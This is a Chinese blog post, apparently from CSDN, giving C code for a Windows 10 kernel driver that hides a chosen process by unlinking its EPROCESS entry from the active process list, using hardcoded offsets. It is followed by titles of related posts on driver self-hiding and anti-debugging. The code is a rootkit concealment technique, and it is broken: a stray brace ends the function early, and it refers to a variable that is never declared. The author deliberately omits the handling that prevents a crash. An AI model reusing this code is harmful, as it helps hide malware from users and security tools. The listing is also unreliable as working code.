Win10内核驱动断链式隐藏指定进程

//直接上功能代码：

//定义函数,通过进程PID操作隐藏
NTSTATUS HideProcess(ULONG pid)
{//定义存放EPROCESS地址变量
ULONG64 L_pEPROCESS = 0;
//定义临时判断使用存放其他进程PID变量
ULONG L_pid = 0;
//获取自身EPROCESS结构
L_pEPROCESS = (ULONG64)PsGetCurrentProcess();
}

//获取进程链表偏移以及pid偏移
EPROCESS结构记录地址：https://blog.csdn.net/qq_41963135/article/details/121626905
//通过查看上方地址中的Win10下的EPROCESS结构记录可以发现+0x2e8是进程pid，+0x2f0是链表结构。
//开始写代码：

//定义两个链表结构体指针并赋值
PLIST_ENTRY L_headList =  (PLIST_ENTRY)(L_pEPROCESS+0x2f0);//得到头部
PLIST_ENTRY L_nextList = headList->Flink;//指向下一个链表结构//循环获取其他链表结构while (L_nextList  != L_headList){//结构减去相对偏移得到EPROCESS地址L_pEPROCESS = ((ULONG64)L_nextList - 0x2f0);//加上相对偏移得到进程pid地址并取出L_pid = *((ULONG*)(L_pEPROCESS + 0x2e8));//判断是否为要隐藏的进程pidif(L_pid == pid)//如果是就开始断链操作{//下一个的头部 = 头部L_nextList->Flink->Blink = L_nextList->Blink;//下一个的尾部 = 尾部L_nextList->Blink->Flink = L_nextList->Flink;//******此处省略关闭被隐藏进程时可能造成蓝屏的处理代码，留给学习思考的人去思考为什么关闭时会造成蓝屏，不知道的不确定是什么代码可以猜测性的评论打出，积极探讨，给我开代码的动力。[斜眼笑]//处理完毕成功返回return STATUS_SUCCESS;}//如果不是我们要操作的pid继续获取下一个结构L_nextList = L_nextList->Flink;}//如果没有我们要操作的pid当然就失败了return STATUS_ACCESS_DENIED;
}

Win10内核驱动断链式隐藏指定进程相关推荐

通过驱动断链来隐藏驱动
隐藏指定驱动尝试隐藏这个驱动 #include <ntifs.h>typedef struct _KLDR_DATA_TABLE_ENTRY {LIST_ENTRY InLoadOrde ...
Win10内核驱动强制签名，必须要有 EV代码签名证书
2016年7月,微软在MSDN宣布从Windows 10的1607版本开始,强制要求所有新的Win10 内核驱动程序,必须获得Windows硬件开发者中心仪表盘门户的数字签名才能在系统中运行.这项政策 ...
Win10内核驱动强制签名，申请沃通 EV代码签名证书
为什么80%的码农都做不了架构师?>>> 2016年7月,微软在MSDN宣布从Windows 10的1607版本开始,强制要求所有新的Win10 内核驱动程序,必须获得Wind ...
内核下断链隐藏进程(兼容多版本Windows系统,非硬编码)
前言在Windows内核下,我们可以通过获取EPROCESS结构来隐藏进程,EPROCESS是微软未公开的结构体,其本质上就是双向链表的一个节点,通过修改该双向链表即可达到隐藏进程的目的.但EPRO ...
内核驱动隐藏自身【断链】
内核驱动加载断链式隐藏自身 //创建一个驱动对象数据结构 typedef struct _KLDR_DATA_TABLE_ENTRY {LIST_ENTRY64 InLoadOrderLinks;// ...
（53）进程结构体EPROCESS，擦除 DebugPort 实现反调试，ActiveProcessLinks 断链实现进程隐藏
一.进程的作用进程最重要的作用是提供了CR3,10-10-12分页下CR3指向页目录表,2-9-9-12分页下CR3指向页目录指针表. 每个进程有一个或多个线程.本质上,没有进程切换,只有线程切换. ...
_EPROCESS断链 —— 实现进程内核隐藏
我们可以利用 _EPROCESS 结构体中的 ActiveProcessLinks 双向链表遍历进系统中的进程,并将特定进程从该双向链表中移除,以达到隐藏特定进程的目的. _EPROCESS _EPR ...
驱动开发：断链隐藏驱动程序自身
与断链隐藏进程功能类似,关于断链进程隐藏可参考<驱动开发:DKOM 实现进程隐藏>这一篇文章,断链隐藏驱动自身则用于隐藏自身SYS驱动文件,当驱动加载后那么使用ARK工具扫描将看不到自身驱 ...
驱动编程：注册表回调，进程回调，文件回调，进程隐藏断链，窗口保护
#include "struct.h"#define debug_pott_offset 0x298 //#define debug_pott_offset 0x1f0DWORD ...

Win10内核驱动断链式隐藏指定进程

Win10内核驱动断链式隐藏指定进程相关推荐

最新文章

热门文章